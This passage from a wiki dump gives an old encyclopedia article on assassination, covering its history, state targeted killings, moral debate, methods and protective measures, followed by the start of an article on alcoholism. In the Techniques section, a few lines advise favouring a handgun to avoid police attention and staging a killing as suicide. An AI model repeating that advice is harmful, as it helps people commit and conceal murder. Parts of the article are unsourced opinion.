As the [[Middle Ages]] came about from the [[fall of the Roman Empire]], the moral and ethical dimensions of what was before a simple political tool began to take shape. Although in that period intentional [[regicide]] was an extremely rare occurrence, the situation changed dramatically with the [[Renaissance]] when the ideas of ''tyrannomachy'' (i.e. killing of a King when his rule becomes tyrannical) re-emerged and gained recognition. Many a head of state of the time fell at the hands of an assassin, such as [[Henri III of France|Henri III]] and [[Henry IV of France]]. There were notable detractors, however; [[Abd-ul-Mejid]] of the [[Ottoman Empire]] refused to put to death plotters against his life during his reign.

=== Modern history ===
[[Image:Shot Dead on Arrival.JPG|left|thumb|[[Ninoy Aquino]], [[Philippines]]' President [[Ferdinand Marcos]]' top political nemesis, was shot dead by an alleged assassin in 1983, who was later killed by military escorts of Aquino. Investigations later concluded that one of the escorts shot the late senator.]] 

As the world moved into the present day and the stakes in political clashes of will continued to grow to a global scale, the number of assassinations concurrently multiplied. In [[Imperial Russia|Russia]] alone, five emperors were assassinated within less than 200 years - [[Ivan VI of Russia|Ivan VI]], [[Peter III of Russia|Peter III]], [[Paul I of Russia|Paul I]], [[Alexander II of Russia|Alexander II]] and [[Nicholas II of Russia|Nicholas II]]. The most notable assassination victim within early [[American history|U.S. history]] was President [[Abraham Lincoln]]. Three other U.S. Presidents have been assassinated: [[James Garfield]], [[William McKinley]], and [[John F. Kennedy]]. An assassination plot against [[Jefferson Davis]], known as the [[Dahlgren Affair]], may have been initiated during the [[American Civil War]]. In [[Europe]] the assassination of [[Archduke]] [[Franz Ferdinand, Archduke of Austria|Franz Ferdinand]] triggered [[World War I]]. However, the 20th century likely marks the first time [[nation-state]]s began training assassins to be specifically used against so-called enemies of the state. During [[World War II]], for example, [[MI6]] trained a group of [[Czechoslovakia]]n operatives to kill the [[Nazi]] [[general]] [[Reinhard Heydrich]] (who did later perish by their efforts - see [[Operation Anthropoid]]), and repeated attempts were made by both the British MI6, the American [[Office of Strategic Services]] (later the [[CIA|Central Intelligence Agency]]) and the Soviet [[SMERSH]] to kill [[Adolf Hitler]].

=== Cold War ===

The [[Cold War]] saw a dramatic increase in the number of political assassinations, likely due in large part to the [[ideology|ideological]] polarization of most of the [[first world|First]] and [[second world|Second worlds]], whose adherents were more than willing to both justify and finance such killings. During the Kennedy era [[Fidel Castro]] narrowly escaped death on several occasions at the hands of the CIA (a function of the agency's &quot;[[executive action]]&quot; program) and CIA-backed rebels (there are accounts that exploding clams and poisoned shoes were employed); some allege that [[Salvador Allende]] of [[Chile]] was another example, though specific proof is lacking.  At the same time, the [[KGB]] made creative use of assassination to deal with high-profile defectors such as [[Georgi Markov]], and [[Israel]]'s [[Mossad]] made use of such tactics to eliminate [[Palestinian]] [[guerrilla warfare|guerrillas]], politicians and revolutionaries, though some Israelis argue that the targeted often crossed the line between one or another or were even all three.

Most major powers were not long in repudiating such tactics, for example during the presidency of [[Gerald Ford]] in the United States in 1976 ([[Executive Order 12333]], which proscription was relaxed however by the [[George W. Bush administration]]). Many allege, however, that this is merely a smoke screen for political and moral benefit and that the covert and illegal training of assassins by major intelligence agencies continue, such as at the [[School of the Americas]] run by the United States. In fact, the debate over the use of such tactics is not closed by any means; many accuse [[Russia]] of continuing to practice it in [[Chechnya]] and against Chechens abroad, as well as Israel in Palestine and against Palestinians abroad (as well as those Mossad deems a threat to Israeli national security, as in the aftermath of the [[Munich Massacre]] during &quot;Operation Wrath of God&quot;). Besides [[Palestine Liberation Organization]] members assassinated abroad, [[Tsahal]] has also often targeted [[Hamas]] activists in the [[Gaza strip]].

=== In the Israeli-Palestinian conflict ===

''See also [[Israel Defense Forces#Code of Conduct against terrorists|IDF: Code of Conduct against terrorists]]''

In the course of the [[Israeli-Palestinian conflict]], the [[Israel Defense Forces]] (IDF) employed what they call &quot;focused foiling&quot; ({{lang-he|סיכול ממוקד }} ''[http://he.wikipedia.org/wiki/%D7%A1%D7%99%D7%9B%D7%95%D7%9C_%D7%9E%D7%9E%D7%95%D7%A7%D7%93 sikul memukad]'') against those who has been proven to have intentions of performing a specific act of violence in the very near future or to be linked indirectly with several acts of violence (organizing, planning, researching means of destruction etc), thus raising the likelihood that his or her assassination would foil similar activities in the future. Usually, the strike is carried out by [[Israeli Air Force]] attack helicopters that fire [[guided missile]]s toward the target, after the [[Shin Bet]] supplies [[military intelligence|intelligence]] for the target.

The exact nature of said proof in focused foiling situations is both controversial and classified, as it involves clandestine [[military intelligence]] oriented means and operational decisions made by intelligence officers and commanders rather than being a part of a published justice system executed by lawyers and judges.

The IDF claims that targeted killings are only pursued to prevent future [[terrorism]] acts, not as revenge for past activities. It also claims that this practice is only used when there is absolutely no practical way of foiling the future acts by other means (e.g., arrest) with minimal risk to the soldiers or civilians. Finally, IDF claims that the practice is only used when there is a certainty in the indentification of the target, in order to minimize harm to innocent bystanders. However, these IDF claims have never been monitored or validated by an independent authority, and the IDF deliberations about the killings remain secret. Moreover, actual injury and death of innocent bystanders, unintended as they may be, remains a strong claim by opponents of these targeted killings.

Targeted killings are largely supported by Israeli society to various extents, but there are exceptions: In 2003, 27 [[Israeli Air Force|IAF]] Air Force pilots composed a letter of protest to the Air Force commander [[Dan Halutz]], announcing their refusal to continue and perform attacks on targets within Palestinian population centers, and claiming that the occupation of the Palestinians &quot;morally corrupts the fabric of Israeli society&quot;. This letter, the first of its kind emanating from the Air Force, evoked a storm of political protest in Israel, with most circles condemning it as dereliction of duty. IDF ethics forbid soldiers from making public political affiliations, and subsequently the IDF chief of staff announced that all the signatories would be suspended from flight duty, after which some of the pilots recanted and removed their signature.

Some of the best known targeted killings by Israeli military were [[Hamas]] leaders [[Salah Shahade]] ([[July 2002]]), [[Sheikh Ahmed Yassin]] ([[March 2004]]), [[Abdel Aziz al-Rantissi]] ([[April 2004]]) and [[Adnan al-Ghoul]] ([[October 2004]]).

While the term &quot;targeted killing&quot; is mostly used within the context of the [[Al-Aqsa Intifada]] by airborne attacks, [[Israeli security forces]] have reportedly assassinated top terrorists in the past, although this was never confirmed officially. Some of the best known operations include:
* [[Operation Wrath of God]] against [[Black September (group)|Black September]] perpetrators of the [[1972]] [[Munich massacre]]
* [[Operation Spring of Youth]] against top PLO leaders in [[Beirut, Lebanon]], [[1973]]
* [[Abu Jihad]] ([[Fatah]]) in [[Tunis]], [[1988]]
* [[Fathi Shaqaqi]] ([[Palestinian Islamic Jihad]]) in [[Malta]], [[1995]]
* [[Yahya Ayyash]] (Hamas bombmaker, &quot;the engineer&quot;) in [[Gaza]], [[1996]]
* [[Khaled Mashal]] (Hamas, foiled) in [[Jordan]], [[1997]]

=== United States ===
In [[1981]], President [[Ronald Reagan]] issued [[Executive Order 12333]], which codified a policy first laid down in 1976 by the [[Gerald Ford|Ford]] administration. It stated, &quot;No person employed by or acting on behalf of the United States Government shall engage in, or conspire to engage in, assassination.&quot;[http://cfrterrorism.org/policy/assassination_print.html]

In [[1986]], the American air strikes against [[Libya]] included an attack on the barracks where [[Muammar Qaddafi]] was known to be sleeping. During the [[1991 Gulf War]], the United States struck many of Iraq’s most important command bunkers with [[bunker buster|bunker-busting bomb]]s in hopes of killing Iraqi President [[Saddam Hussein]].

Since the rise of [[al-Qaeda]], both the [[Bill Clinton|Clinton]] and [[George W. Bush|Bush]] administrations have backed targeted killings. In [[1998]], in retaliation for the al-Qaeda attacks on U.S. embassies in [[East Africa]], the Clinton administration launched [[cruise missile]]s against a training camp in [[Afghanistan]] where [[bin Laden]] had been hours before. Reportedly, the United States nearly killed the leader of [[Taliban]], [[Mullah Omar]], with a Predator-launched Hellfire missile on the first night of [[Operation Enduring Freedom]]. In May [[2002]], the CIA launched a Hellfire missile from a Predator drone in an effort to kill the Afghan warlord [[Gulbuddin Hekmatyar]].

On [[November 3]], [[2002]], a US [[Central Intelligence Agency]]-operated [[RQ-1 Predator]] [[unmanned aerial vehicle]] (UAV) fired a [[Hellfire missile]] that destroyed a car carrying six suspected al-Qaeda operatives in [[Yemen]]. The target of the attack was [[Abu Ali al-Harithi|Qaed Salim Sinan al-Harethi]], the top al-Qaida operative in Yemen. Among those killed in the attack was a US citizen, Yemeni-American [[Ahmed Hijazi]]. &lt;!-- THE ARTICLE SAYS Kamal Derwish --&gt;

According to Bush administration, the killing of an American in this fashion was legal. &quot;I can assure you that no constitutional questions are raised here. There are authorities that the president can give to officials. He's well within the balance of accepted practice and the letter of his constitutional authority,&quot; said [[Condoleezza Rice]], the US [[national security adviser]]. [http://timeenoughforlove.org/saved/YahooNewsU_S_CanTargetAmericanal-QaidaAgents.htm], [http://news.bbc.co.uk/2/hi/in_depth/2404425.stm]

During the press-conference, the [[US State Department]] spokesman [[Richard Boucher]] said that Washington's reasons for opposing the targeted killings of Palestinians might not apply in other circumstances and denied allegation that by staging the Yemen operation the US may be using [[double standard]]s towards Israeli policy: &quot;We all understand the situation with regard to Israeli-Palestinian issues and the prospects of peace and the prospects of negotiation... and of the need to create an atmosphere for progress... A lot of different things come into play there... Our policy on targeted killings in the Israeli-Palestinian context has not changed.&quot; [http://www.commondreams.org/headlines02/1106-06.htm]

On [[December 3]], [[2005]], the US was blamed for another incident, in which alleged al-Qaeda #3 man (operations chief [[Abu Hamza Rabia]]) was reportedly killed in [[Pakistan]] by an airborne missile, together with four associates. However Pakistani officials claim the group was killed while preparing explosives, not from any targeted military operation ([http://edition.cnn.com/2005/WORLD/asiapcf/12/03/pakistan.rabia/index.html], [http://news.bbc.co.uk/1/hi/world/south_asia/4494428.stm]). The US has made no official comment about the incident.

On [[January 13]], [[2006]] US [[Central Intelligence Agency|CIA]]-operated [[unmanned aerial vehicle|unmanned]] [[RQ-1 Predator|Predator]] drones launched four [[AGM-114 Hellfire|Hellfire missiles]] into the [[Pakistan]]i village of [[Damadola]], about 7 km (4.5 miles) from the [[Afghan]] border, killing at least 18 people. The attack targeted [[Ayman al-Zawahiri]] who was thought to be in the village. Pakistani officials later said that al-Zawahiri was not there and that the U.S. had acted on faulty intelligence. [http://pakistantimes.net/Top15010601.htm]

:''See [[War on Terrorism]]''

=== Russia ===
[[Image:Death of Inejiro Asanuma.jpg|right|250px|thumbnail|The assassination of Japanese politician Inejiro Asanuma, caught on camera.]]

The [[Russian Federation]] employed similar strategy in the course of its [[Chechen War]]s, targeting the leaders of separatist movement. Chechen President [[Dzhokhar Dudaev]] was killed by an air strike of [[Russian Air Force]] on [[April 21]], [[1996]] and [[Aslan Maskhadov]] was killed on [[March 8]], [[2005]]. 

&quot;When terrorists feel they are literally being trailed, fighting groups are systematically being detained, when in fact a top leader is eliminated, this creates an atmosphere in which there’s no place for terrorist attacks,” said Vladimir Vasilyev, head of the security committee of the lower house of the Russian [[State Duma]].[http://www.mosnews.com/news/2005/03/10/maskhimpl.shtml]


===Assassination for money===
Individually, too, people have often found reasons to arrange the deaths of others through paid intermediaries. One who kills with no political motive or group loyalty who kills ''only'' for money is known as a [[hitman]] or contract killer. Note that by the definition accepted above, while such a killer is not, strictly speaking, an assassin, if the killing is ordered and financed towards a political end, then that killing must rightly be termed an assassination, and the hitman an assassin by extension (in the same way that a ''[[Manchurian Candidate]]''-style killer would be an assassin because, though they have been brainwashed to kill and have therefore no political aims, those that brainwashed them do have such aims, and if the killing can be termed an assassination, the killer must be an assassin).

Entire organizations have sometimes specialized in assassination as one of their services, to be gained for the right price. Besides the original [[hashshashin]], the [[ninja]] clans of [[Japan]] were rumored to perform assassinations — though it can be pointed out that most of what was ever known about the ninja was [[rumor]] and [[hearsay]]. In the [[United States]], [[Murder Incorporated]], an organization partnered to the [[Mafia]], was formed for the sole purpose of performing assassinations for organized crime. In [[Russia]], the ''vory'' (thieves), their version of the Mafia, are often known to provide assassinations for the right price, as well as engaging in it themselves for their own purposes.

===Assassination as military doctrine===

While assassination for military purposes has long been espoused — [[Sun Tzu]] argued for such in ''[[The Art of War]]'', as did [[Niccolò Machiavelli|Machiavelli]] in his ''[[The Prince]]'' — In medieval times, an army and even a nation might be based upon and around a particularly strong, canny or charismatic leader, whose loss could paralyze the ability of both to make war. However, in modern warfare a soldier's mindset is generally considered to surround ideals far more than specific leaders. Theoretically, while the death of a soldier's leader definitely has a detrimental effect on morale, the cause for which they fight is at times strong enough to push through the loss of leadership.

It can be argued that, assassinating a military leader may run the risk of eliminating a later advocate of peace. As many would argue that military leaders, seeing the face of warfare and bearing a clearer sense of the war effort's effects, have more sagacity on the subject. There is the risk that the target may be an incompetent and could be replaced by a more competent leader. Not only that, but worse, there is a high chance such a killing will be treated as not only reinforcing evidence of the opponents' moral bankruptcy, but also &quot;[[martyr]]&quot; the leader, increasing their charisma posthumously and rallying still others to an enemy cause and hardening the enemies' resolve to fight — and resist entreaties to peace (indeed, the death in battle of [[Gustavus Adolphus of Sweden|Gustavus Adolphus]] of [[Sweden]], while not an assassination, led directly to the [[Catholic]] defeat at [[Battle of Luetzen (1632)|Lützen]] as the infuriated Swedes rallied behind their fallen leader). Such an effect can be extremely detrimental to a group or state, but supporters might argue in return that when faced with a particularly brilliant leader, there is no choice but to take the chance and, essentially, hope for a more mediocre successor (one might use the example of the many attempts to kill the Athenian [[Alcibiades]] during the [[Peloponnesian War]], the American shooting down of [[Admiral]] [[Isoroku Yamamoto]] during World War II, or arguably Henri IV of France). Also, they might note that in a time-sensitive situation, such a killing could be useful if only to briefly buy time for a more permanent and effective plan to be set into motion or stall an army as reinforcements rush to the area. Another situation where assassination '''may''' have been beneficial, would have been the early assassination of [[Osama Bin Laden]], which might have saved thousands of lives from the terrorist attacks that occurred on [[September 11, 2001]].

There are a number of examples from [[World War II]], the last [[total war]], which show how assassination can be used as an effective military tool both at a tactical and strategic level. The American's perception that [[Otto Skorzeny|Skorzeny]]'s [[commando]]s were trying to assassinate [[Dwight D. Eisenhower|Eisenhower]] during the [[Battle of the Bulge]] shows that  military assassination, or the threat of it, if well timed can be a very effective tactical move. In an interview with the ''New York Times'' Skorzeny denied that he had ever intended to [[Operation Grief|assassinate Eisenhower]] and could prove it. ''(page 155, Commando Extraordinary, by Charles Foley)''. There is also a mention in the same book ''(Page 35)'' of a British commando raid to &quot;capture&quot; [[Rommel]]. If he had been removed from the board, then that might well have had strategic effects. The British, too, decided not to try to assassinate Admiral [[Wilhelm Canaris]], head of the [[Abwehr]] (''German military intelligence''), because to do so might have improved the service.

==Moral issues==
[[Moral equivalence]] is also important when examining the use of assassination. Opponents of what one American officer called &quot;trial, judgment and execution by intelligence&quot; argue that no state deliberately training, hiring, sanctioning or harbouring an assassin could hope to justify it in such a way that would satisfy its allies and neighbours, much less the affected countries (even though many might use the tactic themselves). In [[democracy|democracies]] this issue is particularly crucial; much of the impetus for engaging in military action in such states is the motivation of perceived righteousness fighting a brutal enemy, an opinion that is undermined if one's nation is actively and openly engaged in killings outside the laws of war. Many would argue that the negative morale effects alone would outweigh any possible benefits. Therefore a severe injustice is done if a self-proclaimed democracy calls another authority names and mount assassination plots. Furthermore, opponents of assassination underline that it is essentially the [[death penalty]] stripped of the normal judicial safeguards that limit its use. Second, opponents of assassination question its effectiveness. Most conventional military and political organizations are robust so that the death of the leader would not cause them to collapse. Furthermore, using assassination against a terrorist or guerrilla organization may result in the complete elimination of the known leaders of that organization, but create a set of unknown leaders who cannot then be located.  Finally, assassination makes a negotiation of surrender impossible. Near the end of World War II, for example, Allied forces made specific efforts not to target the political and military leadership of the [[Axis Powers]] specifically so that there would be someone to authorize a surrender.

Supporters of assassination as a policy reply, however, that often the killing of one problematic figure can spare countless lives and years — or even decades — of warfare. An example often cited is the question of what might have come to pass had Adolf [[Hitler]] been assassinated in 1935. Countless millions, the argument goes, would have been spared had only such intervention been taken. However, it could be argued that Adolf Hitler was just one man in a Nazi Party of hundreds, and his successor may be just as brutal (not to mention vengeful). Furthermore, it can be argued that this logic would not only justify killing Hitler in 1935 but also killing Adolf in his crib as an innocent infant. 

However, the widespread attention paid to deeds by those branded as &quot;[[dictators]]&quot; such as [[Saddam Hussein]] and [[Idi Amin]] is seen by many as another persuasive argument towards the necessity of eliminating such individuals. The increasing spectre of [[terrorism]], too, often leads many to question why, if it is &quot;kill or be killed&quot;, there should be any delay in taking such action (an opponent would likely be quick to reply, however, that such an action alone leads to the loss of moral equivalence, proving their above argument, although a likely counter could be that moral equivalence is of little use to either a terrorist or one of their dead victims).

Others point out that this point of view may create an unwanted [[slippery slope]], since there may be no difference in principle between assassination intended to save millions of lives, and assassination in order to accomplish an insignificant political goal. For a possible example of the latter sort, see [[Pat Robertson]]'s comments concerning his advocacy of the assassination of [[Venezuela]]n president [[Hugo Chávez]].

==Techniques==
It is entirely likely that the first strategy used by a political or religious killer was a remarkably simple one: find the leader and [[stabbing|stab]] or [[bludgeon]] them to death with whatever weapons were available. This would likely have occurred only in close-knit groups where security was not thought needed, such as amongst nomadic or early sedentary peoples in [[Mesopotamia]] where disagreements would be solved with [[vigilante|vigilantism]] (however it is important to note that information from this far back is very sketchy and debatable in nature). As [[civilization]] took root, however, any leaders in groups began to have more and more a position of importance, and they would become more detached from the groups they ruled. For the first time, [[subterfuge]] would become a major factor in engaging in assassination.

From ancient times, then, through to the medieval period, as the rate of technology was slow so, too, would be the changes in assassins' tactics.  [[Infiltration]] was now the name of the game, and commonly a would-be killer would attempt to gain access to an official or person's guard or staff and utilize a variety of methods for exterminating them, be it the same close-contact stabbing or [[asphyxia|smothering]] or a more advanced method, such as using [[poison]] to induce death. This, however, must be distinguished from efforts by a person or group to remove a person in order to replace them in the [[power structure]]; for more on this, see [[coup d'état]].

With the advent of [[gunpowder]] and far more effective [[ranged weaponry]], however, bodyguards were no longer enough to hold back determined killers, who no longer needed to directly engage or even subvert the guard to kill the leader in question; it could be done from a great distance in a crowded square or even at a church, as with the [[Pazzi Conspiracy]], for example. Often, [[musket]]s or [[rifle]]s might be used to take down a leader from a rooftop, at greater distance, dramatically increasing the chances for survival of an assassin. Also, [[explosives]] became increasingly en vogue for deeds requiring a larger touch; for an example of this, see the article on the [[Gunpowder Plot]] to blow up [[Parliament]] on the [[State Opening of Parliament|state opening]].

In whatever case, it is interesting to note that just because more modern methods of killing became available does not mean older ones were replaced; indeed, in nations like [[India]] killings by knife or [[sword]] remain quite popular, as they do in [[sub-Saharan Africa]] (for example, with the [[machete]]). In fact, since the development of gunpowder each region of the world seems to have its preferred methods of contract murder; besides those mentioned, explosives are quite popular in not only the Middle East but in most of Europe as well, save [[Northern Europe]] where shootings become more common, whereas in the Americas assassinations are almost exclusively performed by gunshot. One can make various cases for any of these, including range, detectability, concealability, likelihood of kill, etc.

As the Renaissance gave way to the [[Industrial Revolution]], assassination became more and more sophisticated, right up to today.  Explosives, especially the [[car bomb]], became far more common, and [[grenade]]s and [[land mine|landmines]] were not unheard of either, especially in the [[Middle East]] and Balkans (the initial attempt on Archduke Franz Ferdinand's life was with a grenade; he was on his way to visit an aide injured in the first attack when his driver stopped to ask directions and he and his wife were shot). Also, [[Rocket propelled grenade]]s (RPGs) became an especially useful tool, given the popularity of armored cars discussed below. Today, any manner of different techniques for the elimination of an enemy - popular or not - might be utilized; the sky, as it were, is the limit. One remarkable recent example involved a political figure who made the mistake of keeping to a regular route and schedule.  Assassins were able to plan for his travel, and detonated an explosive charge &lt;em&gt;beside&lt;/em&gt; the roadway, which propelled a metal plate through the target's vehicle at lethal speed, killing him.

One option glamorized in the media is using a [[sniper rifle]], such as the [[L96]]. The problem with this method is that using a sniper rifle generally attracts the attention of [[police]] and [[government]] authorities, which every smart bounty-hunter wishes to avoid.  A far more useful tool is the [[handgun]].  Deployed correctly and left at the scene of the incident, the completion of the contract can even be portrayed as a [[suicide]].

==Counter-measures==
It would not be a large stretch to say that, in addition to [[terrorism]], political assassination is one of the biggest threats to any modern [[state]] and its [[government]]. As such, the measures to which a leader goes to avoid professional killers ranges from what an average person would consider to be farcical to the paranoid to the downright bizarre. Many would argue, though, that such measures are a lot more effective than they first appear, and that in the world of a new threat seemingly each week, no security is too much.

One of the earliest forms of defense against assassins is without doubt the [[bodyguard]]. Essentially, the bodyguard functions as a counter-assassin, attempting to neutralize the killer before they can make contact with or inflict harm upon the &quot;principal&quot;, or protected/targeted official. This function was often executed by the leader's most loyal warriors, and was extremely effective throughout most of early human history, to the point where a direct assassination had to be replaced with carefully-planned [[subterfuge]], such as poison (which was answered by the [[food taster]] such as the [[Beefeater]]s protecting the [[England|English]] monarchs), and even then such methods were often thwarted. Notable examples of bodyguards would include the Roman [[Praetorian Guard]] or the Ottoman [[Janissary|janissaries]] — although, in both cases, it should be noted that the protectors often became assassins themselves, exploiting their power to make the [[head of state]] a virtual hostage at their whim or eliminating threatening leaders altogether.  Indeed, assassinations both then and today are most often effective when they have the support, tacit or open, of other powerful figures. This is less a concern in the West, where organizations such as the British [[Special Branch]] and American [[Secret Service]] are noted as well-trained and apolitical protective forces. Disloyal protectors continue to be a problem in developing nations, however; [[Prime Minister of India|Indian Prime Minister]] [[Indira Gandhi]] met such an end in 1984.

The race was on with the Middle Ages between leaders and assassins as gunpowder became predominant, each in turn trying to develop stronger and better checks against the increasing abilities of the other. One of the first reactions was to simply increase the guard, creating what at times might seem a [[brigade|small army]] trailing every leader; another was to begin clearing large areas whenever a leader was present, to the point where entire sections of a city might be shut down. Heads of state began to cease taking their armies onto the field personally around this time as well, although this was likely as much due to the increasing skills required for generalship and division of power within the government as it was for safety concerns.

As the 20th century dawned, the prevalence of assassins and their capabilities skyrocketed, and so did measures to protect against them. For the first time, [[armored car]]s or [[armored limousine]]s were put into service for safer transport, with modern versions rendering them virtually invulnerable to [[small arms]] fire. [[Bulletproof vest]]s were also commissioned, though not often used for political reasons. Access to famous persons, too, became more and more restrictive; potential visitors would be forced through dozens of different checks and double-checks before being granted access to the official in question, and as [[communication]] became better and [[information technology]] more prevalent, it has become next-to-impossible for a would-be killer to get close enough to the personage at work to effect an attempt on his or her life, especially given the common use of [[metal detector|metal]] and [[bomb detector]]s. As such most modern assassinations have been committed either during a public performance or during [[transport]], both due to weaker security and security lapses, such as with US [[President of the United States|President]] [[John F. Kennedy]] or as part of [[Coup d'état|coups d'état]] where security is either overwhelmed or completely removed, such as with [[Patrice Lumumba]] and possibly also [[Salvador Allende]].

Some of the wilder and arguably stranger methods used for protection by famous people of both today and yesterday have evoked many reactions from different people, some resenting the separation from their officials or major figures, some comforted by the security and some lamenting the state of society that such measures are necessary. One example might be traveling in a car protected by a bubble of clear [[bulletproof glass]], such as the [[Popemobile]] of [[Pope]] [[Pope John Paul II|John Paul II]] (built following an extremist's attempt at his life). [[Friedrich Wilhelm I of Prussia|Frederick William I of Prussia]] had an entire command of soldiers above two [[meters]] of height, and would reportedly go to great lengths to obtain more. Many leaders, such as [[Josef Stalin]] or the Argentinean [[junta]] were so possessed by paranoia that they executed their opponents ''en masse'', with the death toll ranging from hundreds to millions. Still others go into seclusion, rarely heard from or seen in public afterwards, such as [[writer]] [[Salman Rushdie]] or eccentric [[inventor]] [[Howard Hughes]], though it is more likely that Hughes was concerned about [[germ]]s than about assassination. A more exotic form of protection is the use of a body double. A body double in this case is a person who is built similar to the person he is expected to protect and made up to look like him. The body double then takes the place of the person in high risk situations. Fidel Castro, Adolf Hitler and Saddam Hussein are known to have used [[political decoy|body doubles]].

It is important to note that, in the final analysis, it is thought by many that if a person or group is committed beyond [[reason]] or concerns for [[welfare|self-preservation]] towards the removal of a certain person or leader from not only their position but this plane of existence, then the chances are better than fair that any security measures taken will come to naught. The [[ninja]] of Japan and [[suicide bombers|suicide attackers]] are both groups known for pursuing every avenue for however long necessary to accomplish their 'hit'. Often, such people or groups would [[suicide|operate without concern for their own life]] in order to gain the slightest chance of eliminating their mark. Certain leaders, notably [[Abraham Lincoln]], were thought to have wrestled with this supposed inevitability during difficult times (with some, like Lincoln's, proving prophetic). In the end it comes down to will - if the will of the would-be assassins to execute their target surpasses that of their security to save them, or the will of the targeted person to survive, then success for a killer may be a matter of time.

== See also ==
* [[Assassin's Guild]]
* [[The Assassination Bureau]]
* [[Assassination market]]
* [[Asymmetric warfare]]
* [[Counter terror]]
* [[Espionage]]
* [[Hashshashin]]
* [[Low intensity conflict]]
* [[Mark (victim) | Mark (slang)]]
* [[Moral equivalence]]
* [[Ninja]]
* An anarchist justification of [[regicide]]s and other acts of &quot;[[propaganda of the deed]]&quot; (nowadays shared by a ultra-minority of anarchists)
* [[Terrorism]]


=== Related lists ===
* [[List of assassins]]
* [[List of unsuccessful assassinations]]
* [[List of assassinated people]]
* [[List of U.S. Presidential assassination attempts]]

== External links ==
* [http://www.yale.edu/yup/books/074743.htm Cloak and Dollar (A History of American Secret Intelligence)] by Rhodri Jeffreys-Jones
* [http://www.cnn.com/2002/LAW/11/04/us.assassination.policy A short article on the U.S. policy banning political assassination since 1976] from CNN. See also [[Gerald Ford|Ford]]'s 1976 [http://www.ford.utexas.edu/library/speeches/760110e.htm#assassination executive order]. However, [[Executive Order 12333]] which prohibited the CIA from assassinations was relaxed by the [[George W. Bush administration]].
* [http://www.historyguy.com/biofiles/domestic_terrorists_and_assassins.html American Domestic Terrorists and Assassins]
*[http://www.stormingmedia.us/58/5872/A587224.html Lawful Targeted Killing or Assassination: A Roadmap for Operators in the Global War on Terror] by John Tinetti; NAVAL WAR COLL NEWPORT RI JOINT MILITARY OPERATIONS DEPT
*[http://www.noisetoknowledge.com/targeted_killing.htm Targeted Killing] by Roy D. Follendore III. [[November 5]] [[2002]]
*[http://www.sfgate.com/cgi-bin/article.cgi?file=/chronicle/archive/2004/03/26/EDGK65QPC41.DTL Responses to Terrorism. Targeted killing is a necessary option] by Abraham D. Sofaer. [[March 26]] [[2004]]
*[http://www.defenddemocracy.org/publications/publications_show.htm?doc_id=218872 The Targeted Killing of Sheikh Ahmed Yassin] by Jonathan L. Snow. [[March 26]] [[2004]]
*[http://www.bepress.com/til/default/vol5/iss1/art7/ Targeted Killing] by Daniel Statman
*[http://www.meforum.org/article/515 The Logic of Israel's Targeted Killing] by Gal Luft
*[http://www.biu.ac.il/SOC/besa/david.pdf Fatal Choices: Israel's Policy of Targeted Killing] (PDF) by Steven R. David at [[Johns Hopkins University]]. A paper prepared for the BESA Center Conference on Democracy and Limited War, 4-[[6 June]] [[2002]]; revised July 2002.
*[http://www.ejil.org/journal/Vol16/No2/art1.pdf Targeted Killing of Suspected Terrorists: Extra-Judicial Executions or Legitimate Means of Defence?] (PDF) by David Kretzmer


[[Category:Assassins|*]]
[[Category:Murder]]
[[Category:Arabic words]]

[[da:Attentat]]
[[de:Attentat]]
[[fr:Attentat]]
[[id:Pembunuhan rahasia]]
[[he:התנקשות]]
[[ja:暗殺]]
[[pt:Assassinato]]
[[sl:Atentat]]
[[fi:Salamurha]]
[[sv:Attentat]]
[[zh:刺客]]</text>
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  <page>
    <title>Alcoholism</title>
    <id>2965</id>
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      <comment>Reverted edits by [[Special:Contributions/164.113.111.1|164.113.111.1]] ([[User talk:164.113.111.1|talk]]) to last version by Light current</comment>
      <text xml:space="preserve">'''Alcoholism''' (rel. [[drug abuse]]) is a chemical [[addiction]] to either or both the ''consumption of'' or the ''[[inebriation|inebriating]] effects of'' [[alcohol]].
 

== Terminology ==

There are many terms, such as use, [[misuse]], [[heavy use]], [[addiction]], [[abuse]] [[dependence]], all of which have different and sometimes non-standard meanings. 'Use' refers to simple use of a substance. 

An individual who drinks a beer once a day uses alcohol. Misuse and 'heavy use' do not have standard definitions in the field. 

Addiction has two meanings: 
*development of tolerance to the use of a substance (needs more of the substance to achieve the same effect). Withdrawal effects upon discontinuing use. 

*The second definition of addiction is a chemical [[addiction]] to either or both the ''consumption of'' or the ''[[inebriation|inebriating]] effects of'' [[alcohol]]. 

The first definition refers to physiologic dependence, something which for certain drugs can be created in anyone taking the drug. The second refers to the &quot;disease&quot; state of interest to readers of this section, and which cannot be created in an individual simply through use of the drug. 

Psychiatrists and some others refer to the second definition of addiction as dependence. This is where frequent confusion arises since physiologic dependence does not imply the existence of the disease state which psychiatrists call dependence. For example, a test subject might be given alcohol in increasing amounts each day to the extent that the individual would have severe withdrawal if the alcohol were suddenly stopped; in this case, physiologic dependence has formed, but no disease is present. Similarly, an alcoholic in recovery is not drinking at all yet still has the condition just as a diabetic who keeps his blood glucose at precisely 100 (normal) all the time is still diabetic. 

Neither individual would be likely to suffer significant symptoms secondary to their ongoing illness, yet both are still afflicted. 
[[Image:King alcohol.jpg|frame|right|&quot;King Alcohol and his Prime Minister&quot; circa 1820]]

==Diagnosis==
There have been many efforts at diagnostic approaches to alcoholism. 

In a 1992 [[JAMA]] article, the [[Joint Committee of the National Council on Alcoholism and Drug Dependence]] and the [[American Society of Addiction Medicine]] published this definition for alcoholism: &quot;Alcoholism is a primary chronic disease with genetic, psychosocial, and environmental factors influencing its development and manifestations. The disease is often progressive and fatal. It is characterized by impaired control over drinking, preoccupation with 
the drug alcohol, use of alcohol despite adverse consequences, and distortions in thinking, mostly denial. Each of these symptoms may be continuous or periodic.&quot;

The [[DSM IV]] diagnosis of alcohol dependence represents another approach to the definition of alcoholism, one more closely based on specifics than the 1992 JAMA article. In part this is to assist in the development of research protocols in which findings can be compared with one another, but the DSM definition is the one in general use from a diagnostic standpoint. That definition is: Maladaptive alcohol use with clinically significant impairment as manifested by at least three of the following within any one-year period: Tolerance; Withdrawal; Taken in greater amounts or over longer time course than intended; Desire or unsuccessful attempts to cut down or control use; Great deal of time spent obtaining, using, or recovering from use; Social, occupational, or recreational activities given up or reduced; Continued use despite knowledge of physical or psychological sequelae.

Note that many [[sedative]] agents are cross-tolerant with alcohol (meaning that these agents can be taken instead of alcohol to relieve withdrawal symptoms or to maintain the level of sedation provided by alcohol). A more general diagnosis than alcohol dependence is that of sedative dependence. Whether an individual uses alcohol or another sedative, if they meet the criteria above, the process is likely the same.

==Biological mechanism==
